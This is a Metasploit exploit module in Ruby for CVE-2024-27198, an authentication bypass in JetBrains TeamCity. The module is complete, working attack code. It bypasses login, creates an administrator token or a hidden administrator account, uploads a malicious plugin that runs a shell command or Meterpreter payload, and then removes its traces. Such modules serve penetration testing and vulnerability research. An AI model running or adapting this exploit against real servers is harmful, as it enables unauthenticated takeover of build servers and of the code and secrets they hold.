Authored by sfewer-r7 | Site metasploit.com

This Metasploit module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated remote code execution on the target TeamCity server. On older versions of TeamCity, access tokens do not exist so the exploit will instead create a new administrator account before uploading a plugin. Older versions of TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code execution instead, as this is supported on all versions tested.

advisories | CVE-2024-27198

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated
attacker can leverage this to access the REST API and create a new administrator access token. This token
can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve
unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist
so the exploit will instead create a new administrator account before uploading a plugin. Older version of
TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,
however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code
execution instead, as this is supported on all versions tested.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # Discovery, Analysis, Exploit
],
'References' => [
['CVE', '2024-27198'],
['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'],
['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/']
],
'DisclosureDate' => '2024-03-04',
'Platform' => %w[java win linux unix],
'Arch' => [ARCH_JAVA, ARCH_CMD],
'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
# Tested against:
# * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022
# * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022
# * TeamCity 2023.11.3 (build 147512) running on Linux
# * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016
'Targets' => [
[
'Java', {
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => {
# We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to
# happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown
# reason Spawn > 0 will not work against TeamCity on Linux.
'Spawn' => 0
}
}
],
[
'Java Server Page', {
'Platform' => %w[win linux unix],
'Arch' => ARCH_JAVA
}
],
[
'Windows Command', {
'Platform' => 'win',
'Arch' => ARCH_CMD
}
],
[
'Linux Command', {
'Platform' => 'linux',
'Arch' => ARCH_CMD
}
],
[
'Unix Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
# By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on
# port 80 by default).
Opt::RPORT(8111),
OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']),
# The first user created during installation is an administrator account, so the ID will be 1.
OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1])
]
)
end

# This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated.
def send_auth_bypass_request_cgi(opts = {})
# The file name of the .jsp can be 0 or more characters (it just has to end in .jsp)
vars_get = {
'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp"
}

# Add in 0 or more random query parameters, and ensure the order is shuffled in the request.
0.upto(rand(8)) do
vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16))
end

opts['vars_get'] ||= {}

opts['vars_get'].merge!(vars_get)

opts['shuffle_get_params'] = true

opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8))

send_request_cgi(opts)
end

def check
# We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the
# target is vulnerable.
server_res = send_auth_bypass_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server')
)

return CheckCode::Unknown('Connection failed') unless server_res

# A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden)
return CheckCode::Safe if server_res.code == 403

return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200

# We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the
# check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target
# platform can help inform the user what payload target to choose (i.e. Windows or Linux).
sysprop_res = send_auth_bypass_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties')
)

platform = ''

if sysprop_res&.code == 200
xml_sysprop_data = sysprop_res.get_xml_document

os_name = xml_sysprop_data&.at('property[name="os.name"]')

platform = " running on #{os_name.attr('value')}" if os_name
end

xml_server_data = server_res.get_xml_document

server_data = xml_server_data&.at('server')

version = " #{server_data.attr('version')}" if server_data

CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.")
end

def exploit
#
# 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018)
# do not have support for access token, so we fall back to creating a new administrator account. The benefit
# of using an access token is we can delete it when we are finished, unlike a user account.
#
token_name = Rex::Text.rand_text_alphanumeric(8)

res = send_auth_bypass_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)
)

if res && (res.code == 404) && res.body.include?('api.NotFoundException')

print_warning('Tokens API not found, falling back to creating an admin user.')

token_name = nil
token_value = nil

http_authorization = auth_new_admin_user

fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
else
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
if res && (res.code == 404) && res.body.include?('User not found')
print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end

fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
end

# Extract the authentication token from the response.
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s

fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?

print_status("Created authentication token: #{token_value}")

http_authorization = "Bearer #{token_value}"
end

# As we have created an access token, this begin block ensures we delete the token when we are done.
begin
#
# 2. Create a malicious TeamCity plugin to host our payload.
#
plugin_name = Rex::Text.rand_text_alphanumeric(8)

zip_plugin = create_payload_plugin(plugin_name)

fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?

#
# 3. Upload the payload plugin to the TeamCity server
#
print_status("Uploading plugin: #{plugin_name}")

message = Rex::MIME::Message.new

message.add_part(
"#{plugin_name}.zip",
nil,
nil,
'form-data; name="fileName"'
)

message.add_part(
zip_plugin.pack.to_s,
'application/octet-stream',
'binary',
"form-data; name="file:fileToUpload"; filename="#{plugin_name}.zip""
)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'data' => message.to_s
)

fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200

#
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
#
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'loadAll',
'plugins' => plugin_name
}
)

fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200

# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
begin
#
# 5. Begin to clean up, register several paths for cleanup.
#
if (install_path, sep = get_install_path(http_authorization))
vprint_status("Target install path: #{install_path}")

if target['Arch'] == ARCH_JAVA
# The Java payload plugin will have its buildServerResources extracted to a path like:
# C:TeamCitywebappsROOTpluginsyxfyjrBQ
# So we register this for cleanup.
# Note: The java process may recreate this a second time after we delete it.
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
end

if (build_number = get_build_number(http_authorization))
vprint_status("Target build number: #{build_number}")

# The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a
# path like: C:TeamCityworkCatalinalocalhostROOTTC_147512_6vDwPWJsorgapachejspplugins_6vDwPWJs
# So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although
# it will be empty.
register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
else
print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
end
else
print_warning('Could not discover install path. Unable to register files for cleanup.')
end

# On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.
# /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/
if (data_path = get_data_dir_path(http_authorization))
vprint_status("Target data directory path: #{data_path}")

register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))
else
print_warning('Could not discover data directory path. Unable to register files for cleanup.')
end

#
# 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
# payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.
#
if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
end
ensure
#
# 7. Ensure we delete the plugin from the server when we are finished.
#
print_status('Deleting the plugin...')

print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)
end
ensure
#
# 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and
# password, we cannot delete the user account we created.
#
if token_name && token_value
print_status('Deleting the authentication token...')

print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
end
end
end

def auth_new_admin_user
admin_username = Faker::Internet.username
admin_password = Rex::Text.rand_text_alphanumeric(16)

res = send_auth_bypass_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
'ctype' => 'application/json',
'data' => {
'username' => admin_username,
'password' => admin_password,
'name' => Faker::Name.name,
'email' => Faker::Internet.email(name: admin_username),
'roles' => {
'role' => [
{
'roleId' => 'SYSTEM_ADMIN',
'scope' => 'g'
}
]
}
}.to_json
)

unless res&.code == 200
print_warning('Failed to create an administrator user.')
return nil
end

print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")

http_authorization = basic_auth(admin_username, admin_password)

# Login via HTTP basic authorization and store the session cookie.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
if res&.code == 401
print_warning('Failed to login with new admin user credentials.')
return nil
end

http_authorization
end

def create_payload_plugin(plugin_name)
if target['Arch'] == ARCH_CMD

case target['Platform']
when 'win'
shell = 'cmd.exe'
flag = '/c'
when 'linux', 'unix'
shell = '/bin/sh'
flag = '-c'
else
print_warning('Unsupported target platform.')
return nil
end

zip_resources = Rex::Zip::Archive.new

zip_resources.add_file(
"META-INF/build-server-plugin-#{plugin_name}.xml",
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
default-autowire="constructor">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>#{shell}</value>
<value>#{flag}</value>
<value><![CDATA[#{payload.encoded}]]></value>
</list>
</constructor-arg>
</bean>
</beans>
XML
)
elsif target['Arch'] == ARCH_JAVA
# If the platform is java we can bootstrap a Java Meterpreter
if target['Platform'] == 'java'
zip_resources = payload.encoded_jar(random: true)

# Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)

payload_bean_id = Rex::Text.rand_text_alpha(8)

# We start the payload in a new thread via some Spring Expression Language (SpEL).
bootstrap_spel = "#{ new java.lang.Thread(#{payload_bean_id}).start() }"

# NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
# to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
# as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
# choose a property that does not exist, we generate several exceptions in the teamcity-server.log.

zip_resources.add_file(
"META-INF/build-server-plugin-#{plugin_name}.xml",
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
<bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
<bean class="java.beans.Encoder">
<property name="exceptionListener" value="#{bootstrap_spel}"/>
</bean>
</beans>
XML
)
else
# For non java platforms with ARCH_JAVA, we can drop a JSP payload.
zip_resources = Rex::Zip::Archive.new

zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
end

else
print_warning('Unsupported target architecture.')
return nil
end

zip_plugin = Rex::Zip::Archive.new

zip_plugin.add_file(
'teamcity-plugin.xml',
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
<info>
<name>#{plugin_name}</name>
<display-name>#{plugin_name}</display-name>
<description>#{Faker::Lorem.sentence}</description>
<version>#{Faker::App.semantic_version}</version>
<vendor>
<name>#{Faker::Company.name}</name>
<url>#{Faker::Internet.url}</url>
</vendor>
</info>
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
</teamcity-plugin>
XML
)

zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)

zip_plugin
end

def get_install_path(http_authorization)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

unless res&.code == 200
print_warning('Failed to request plugins information.')
return nil
end

plugins_xml = res.get_xml_document

restapi_data = plugins_xml.at("//plugin[@name='rest-api']")

restapi_load_path = restapi_data&.attr('loadPath')

if restapi_load_path.nil?
print_warning('Failed to extract plugin loadPath.')
return nil
end

# C:TeamCitywebappsROOTWEB-INFpluginsrest-api

platforms = {
'webappsROOTWEB-INFplugins' => '',
'/webapps/ROOT/WEB-INF/plugins/' => '/'
}

platforms.each do |path, sep|
if (pos = restapi_load_path.index(path))
return [restapi_load_path[0, pos], sep]
end
end

print_warning('Failed to extract install path.')
nil
end

def get_data_dir_path(http_authorization)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

unless res&.code == 200
print_warning('Failed to request data directory path.')
return nil
end

res.body
end

def get_build_number(http_authorization)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

unless res&.code == 200
print_warning('Failed to request server information.')
return nil
end

xml_data = res.get_xml_document

server_data = xml_data.at('server')

server_data.attr('buildNumber')
end

def get_plugin_uuid(http_authorization, plugin_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_get' => {
'item' => 'plugins'
}
)

unless res&.code == 200
print_warning('Failed to list all plugins.')
return nil
end

uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/)

if uuid_match&.length != 2
print_warning('Failed to grep for plugin GUID')
return nil
end

uuid_match[1]
end

def delete_plugin(http_authorization, plugin_name)
plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)

if plugin_uuid.nil?
print_warning('Failed to discover enabled plugin UUID')
return false
end

vprint_status("Enabled Plugin UUID: #{plugin_uuid}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'setEnabled',
'enabled' => 'false',
'uuid' => plugin_uuid
}
)

unless res&.code == 200
print_warning('Failed to disable the plugin.')
return false
end

# The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time.
plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)

if plugin_uuid.nil?
print_warning('Failed to discover disabled plugin UUID')
return false
end

vprint_status("Disabled Plugin UUID: #{plugin_uuid}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'delete',
'uuid' => plugin_uuid
}
)

unless res&.code == 200
print_warning('Failed request for plugin deletion.')
return false
end

true
end

def delete_token(token_name, token_value)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => "Bearer #{token_value}"
},
'vars_post' => {
'accessTokenName' => token_name,
'delete' => 'true',
'userId' => datastore['TEAMCITY_ADMIN_ID']
}
)

res&.code == 200
end

end